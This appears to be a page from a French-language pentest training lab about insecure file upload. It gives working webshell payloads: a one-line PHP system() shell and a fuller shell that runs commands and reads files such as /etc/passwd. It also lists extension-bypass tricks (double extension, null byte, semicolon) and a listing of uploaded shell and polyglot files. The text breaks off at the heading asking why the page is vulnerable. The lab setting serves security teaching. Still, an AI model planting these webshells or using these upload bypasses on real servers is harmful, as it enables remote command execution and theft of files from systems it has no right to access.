Pentest Lab - Failles de Securite

ATTENTION: Ces pages contiennent des vulnerabilites volontaires pour tests uniquement!

Insecure File Upload

Cette page permet d'uploader des fichiers sans validation du type ou du contenu.

Indices d'exploitation

  • Uploader un fichier PHP: <?php system($_GET['cmd']); ?>
  • Double extension: shell.php.jpg
  • Null byte: shell.php%00.jpg
  • Acceder au fichier: /uploads/vulnerable/shell.php?cmd=whoami

Upload de fichier

Fichiers uploades

Fichier Action
.gitkeep Ouvrir
.htaccess Ouvrir
magic.php Ouvrir
magic.phtml Ouvrir
polyglot.php.gif Ouvrir
polyglot.php.jpg Ouvrir
polyglot.php.pdf Ouvrir
redsparta_zipslip.zip Ouvrir
rsprt4upload.mvg Ouvrir
rsprt4upload.svg Ouvrir
rsprtok.php Ouvrir
rsprtshell.php Ouvrir
shell.aspx Ouvrir
shell.aspx;.jpg Ouvrir
shell.php Ouvrir
shell.php .jpg Ouvrir
shell.php%00.jpg Ouvrir
shell.php.unknownext Ouvrir
shell.php;.jpg Ouvrir
test.aspx Ouvrir
test.html Ouvrir
test.jsp Ouvrir
test.php Ouvrir
test.php%00.jpg Ouvrir
test.php.jpg Ouvrir
test.phtml Ouvrir
test.svg Ouvrir

Exemple de webshell PHP

Creez un fichier shell.php avec ce contenu:

<?php // Simple webshell if(isset($_GET['cmd'])) { echo '<pre>'; echo htmlspecialchars(shell_exec($_GET['cmd'])); echo '</pre>'; } if(isset($_GET['file'])) { echo '<pre>'; echo htmlspecialchars(file_get_contents($_GET['file'])); echo '</pre>'; } ?> <!-- Usage: shell.php?cmd=whoami ou shell.php?file=/etc/passwd -->

Pourquoi c'est vulnerable?